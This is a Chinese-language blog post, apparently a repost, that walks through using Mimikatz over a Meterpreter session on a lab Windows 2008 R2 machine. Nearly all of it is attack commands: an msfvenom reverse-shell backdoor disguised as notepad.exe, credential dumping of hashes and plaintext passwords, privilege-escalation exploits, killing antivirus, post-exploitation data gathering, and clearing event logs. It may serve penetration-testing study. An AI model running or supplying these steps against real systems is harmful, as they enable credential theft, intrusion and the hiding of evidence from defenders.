Mimikatz on meterpreter

实验环境:
kali 主机:192.168.88.193
目标靶机:win2008 R2 192.168.88.130
kali 主机上执行生成一个后门 exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.193 LPORT=443 -f exe -o notepad.exe
msfconsole -r msf.rc
meterpreter > load mimikatz // 加载 mimizkatz
Mimikatz Commands
=================
 
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds.
livessp Attempt to retrieve livessp creds.
mimikatz_command Run a custom command.
msv Attempt to retrieve msv creds (hashes).
ssp Attempt to retrieve ssp creds.
tspkg Attempt to retrieve tspkg creds.
wdigest Attempt to retrieve wdigest creds.
meterpreter > mimikatz_command -f version // 查看mimkatz版本信息
mimikatz 1.0 x86 (RC) (May 31 2019 15:52:45)
meterpreter > mimikatz_command -f fu:: // 列出加载 的模块选项
 
Modules disponibles :
- Standard
crypto - Cryptographie et certificats
hash - Hash
system - Gestion syst�me
process - Manipulation des processus
thread - Manipulation des threads
service - Manipulation des services
privilege - Manipulation des privil�ges
handle - Manipulation des handles
impersonate - Manipulation tokens d'acc�s
winmine - Manipulation du d�mineur
minesweeper - Manipulation du d�mineur 7
nogpo - Anti-gpo et patchs divers
samdump - Dump de SAM
inject - Injecteur de librairies
ts - Terminal Server
divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
sekurlsa - Dump des sessions courantes par providers LSASS
efs - Manipulations EFS
meterpreter > mimikatz_command -f divers:: // 调用驱动模式
meterpreter > mimikatz_command -f handle:: // Handle 模块可以用来 list/kill 进程
以及模拟用户令牌
meterpreter > mimikatz_command -f handle:: list
meterpreter > mimikatz_command -f service:: // Service 模 块 让 你 可 以 list/start/stop 以及 remove windows 服务
meterpreter > mimikatz_command -f service::list
meterpreter > mimikatz_command -f crypto:: // Crypto 模块允许你 list、export 任何证书,以及储存在目标机器上相应的私钥
meterpreter > mimikatz_command -f crypto::list
meterpreter > mimikatz_command -f crypto::listProviders
meterpreter > msv // 导出 hash
meterpreter > kerberos // 导出明文
meterpreter > mimikatz_command -f samdump::hashes //导出 hash,在密码超过14位时LM会为空
meterpreter > mimikatz_command -f sekurlsa::searchPasswords //获取明文密码
溢出提权:
meterprter>background // 把当前的 Meterpreter 会话转为后台执行
msf>search ms14 //搜索关键的提权 exp,这里在 windows2003 上可以用 ms14-002
进行提权成功:
msf exploit(ms14_070_tcpip_ioctl) > use exploit/windows/local/ms_ndproxy
msf exploit(ms_ndproxy) > show options
msf exploit(ms_ndproxy) > set session 1
msf exploit(ms_ndproxy) > exploit
 
meterpreter > run post/windows/gather/checkvm //检查目标是否为虚拟机
meterpreter > run killav // meterpreter 的 killav 脚本来杀死目标主机运行的杀毒软件
meterpreter > run post/windows/gather/enum_applications // 获取软件安装程序
meterpreter > run post/windows/gather/dumplinks // 获取最近的文件操作
meterpreter > run post/windows/gather/smart_hashdump // 获取 hsah 值
meterpreter > clearev //清理痕迹
 
 

猜你喜欢

转载自www.cnblogs.com/micr067/p/11440986.html